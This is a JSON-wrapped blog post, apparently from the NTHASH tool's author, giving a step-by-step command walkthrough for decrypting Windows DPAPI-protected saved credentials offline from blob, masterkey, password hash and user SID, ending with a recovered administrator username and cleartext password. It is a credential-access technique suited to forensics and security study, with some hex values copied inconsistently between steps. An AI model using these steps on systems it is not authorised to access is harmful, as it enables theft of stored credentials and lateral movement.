{"id":2230,"date":"2019-12-30T22:16:20","date_gmt":"2019-12-30T21:16:20","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2230"},"modified":"2022-08-03T18:26:34","modified_gmt":"2022-08-03T16:26:34","slug":"prive-nthash-and-dpapi-secrets-1","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2230","title":{"rendered":"nthash and dpapi secrets #1"},"content":{"rendered":"<p>Lets decrypt a user credentials (which happen to be enctyped in dpapi blobs).<\/p>\n<p>5 steps:<br \/>\n-look at the encrypted blob\/credential<br \/>\n-look at the encrypted masterkey<br \/>\n-retrieve the sha1 user password and compute the sha1-hmac key<br \/>\n-decrypt the encrypted masterkey<br \/>\n-decrypt the encrypted blob\/credential<br \/>\n-conclusion<\/p>\n<p>1\/look at the encrypted blob\/credential<\/p>\n<p>User credentials are located here:<br \/>\nC:\\Users\\username\\AppData\\Roaming\\Microsoft\\Credentials<br \/>\nC:\\Users\\username\\AppData\\Local\\Microsoft\\Credentials<\/p>\n<p><strong>NTHASH-win64.exe \/decodeblob<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Credentials\\444F0F078CB16849842B0928EF18C7E1<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i.imgur.com\/ZV4d6Pi.png\" alt=\"\" \/><\/p>\n<p>-&gt;note the dwFlags:0 = user<br \/>\nWe can see it is using masterkey <strong>ae222549-867a-4269-b29f-49500e8842c8<\/strong>.<\/p>\n<p>2\/look at the encrypted masterkey<\/p>\n<p>Masterkeys are located here:<br \/>\nC:\\Users\\username\\AppData\\Roaming\\Microsoft\\Protect\\sid<\/p>\n<p><strong>NTHASH-win64.exe \/decodemk<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2427513087-2265021005-1965656450-1001\\ae222549-867a-4269-b29f-49500e8842c8<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i.imgur.com\/lUWqnPN.png\" alt=\"\" \/><\/p>\n<p>3\/retrieve the sha1 user password and compute the sha1-hmac key<\/p>\n<p>To decrypt this masterkey, you either know the cleartext password or you know its SHA1 form (retrieved thru some other lateral movements).<\/p>\n<p>If you know the cleartext password, then lets computer its SHA1.<br \/>\nSkip the below if you already have the SHA1 password.<\/p>\n<p><strong>NTHASH-win64.exe \/widestringtohexa \/input:Password12345<br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<\/strong><br \/>\nwidestringtobyte<br \/>\n500061007300730077006F007200640031003200330034003500<\/p>\n<p><strong>NTHASH-win64.exe \/gethash \/mode:SHA1 \/input:5500061007300730077006F007200640031003200330034003500<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\ngethash<br \/>\n0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0<\/p>\n<p>Note that you can run the 2 previous commands in one go :<br \/>\n<strong>NTHASH-win64.exe \/widestringtohexa \/input:Password12345 | NTHASH-win64.exe \/gethash \/mode:SHA1<\/strong><\/p>\n<p>Now, lets compute the sha1-hmac key to decrypt the masterkey.<br \/>\nFor this we need the SHA1 password + user sid.<\/p>\n<p><strong>NTHASH-win64.exe \/widestringtohexa \/input:S-1-5-21-2427513087-2265021005-1965656450-1001\\0<\/strong><br \/>\nNTHASH 1.8 x64 by erwan2212@gmail.com<br \/>\nwidestringtobyte<br \/>\n53002D0031002D0035002D00320031002D0032003400320037003500310033003000380037002D0032003200360035003000320031003000300035002D0031003900360035003600350036003400350030002D0031003000300031000000<\/p>\n<p>(Note the \\0 to make it a null widechar terminated string)<\/p>\n<p><strong>NTHASH-win64.exe \/gethmac \/mode:SHA1 \/key:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0<br \/>\n\/input:530020031002D0035002D00320031002D0032003400320037003500310033003000380037002D0032003<br \/>\n00360035003000320031003000300035002D0031003900360035003600350036003400350030002<br \/>\n0031003000300031000000<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\ngethmac<br \/>\n262FA2EFDE8F5C9F525DAD764B6710D663BA5DA5<\/p>\n<p>4\/decrypt the encrypted masterkey<\/p>\n<p><strong>NTHASH-win64.exe \/decodemk<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2427513087-2265021005-1965656450-1001\\ae222549-867a-4269-b29f-49500e8842c8<br \/>\n\/input:262FA2EFDE8F5C9F525DAD764B6710D663BA5DA5<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\n**** Unprotecting Blob ****<br \/>\nKEY:83D3D812E50FAB6F83DA070D6C566DCFE3248A1AD873AA1D222F6B41342890EEBD790388FE2A<br \/>\n21680A081723AA0C7B39EFBA5B16BB5D948B947140838F1F5383<br \/>\nSHA1:38920930CFB2A1CE61F9CB52153025535F548F53<\/p>\n<p>Note : with latest version you can skip step 3 and execute the below (i.e provide the SHA1 user password and let NTHASH compute the hmac):<br \/>\n<strong>nthash-win64 \/decodemk<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2427513087-2265021005-1965656450-1001\\75380869-42A8-42EC-9E9B-8518F42802EE<br \/>\n\/password:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0<\/strong><\/p>\n<p>5\/decrypt the encrypted blob\/credential<\/p>\n<p><strong>nthash-win64 \/decodeblob<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Credentials\\444F0F078CB16849842B0928EF18C7E1<br \/>\n\/input:38920930CFB2A1CE61F9CB52153025535F548F53<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\n**** Decoding Cred Blob ****<br \/>\ncredFlags:48<br \/>\ncredSize:194<br \/>\nType:2<br \/>\nFlags:0<br \/>\nLastWritten:15\/12\/2019 19:16:09<br \/>\nTargetName:Domain:target=192.168.1.188<br \/>\nunkdata:<br \/>\ncomment:SspiPfc<br \/>\ntargetalias:<br \/>\nusername:ERWAN-PC2\\administrateur<br \/>\nCredentialBlob:weakpassword<\/p>\n<p>You can run it in one command eventually:<br \/>\n<strong>nthash-win64 \/decodemk<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-2427513087-2265021005-1965656450-1001\\75380869-42A8-42EC-9E9B-8518F42802EE<br \/>\n\/password:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0 | nthash-win64 \/decodeblob<br \/>\n\/binary:C:\\Users\\erwan\\AppData\\Roaming\\Microsoft\\Credentials\\444F0F078CB16849842B0928EF18C7E1 <\/strong><\/p>\n<p>6\/Conclusion ?<\/p>\n<p>You dont need to be online or run as the user to retrieve secrets :<br \/>\nIf you own a blob, its associated masterkey and the cleartext password OR the sha1 password, you can decrypt these offline.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lets decrypt a user credentials (which happen to be enctyped in dpapi blobs). 5 steps: -look at the encrypted blob\/credential -look at the encrypted masterkey -retrieve the sha1 user password and compute the sha1-hmac key -decrypt the encrypted masterkey -decrypt the encrypted blob\/credential -conclusion 1\/look at the encrypted blob\/credential User credentials are located here: C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Credentials <a href='https:\/\/labalec.fr\/erwan\/?p=2230' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[118],"tags":[119],"class_list":["post-2230","post","type-post","status-publish","format-standard","hentry","category-nthash","tag-dpapi","category-118-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2230"}],"version-history":[{"count":18,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2230\/revisions"}],"predecessor-version":[{"id":2333,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2230\/revisions\/2333"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}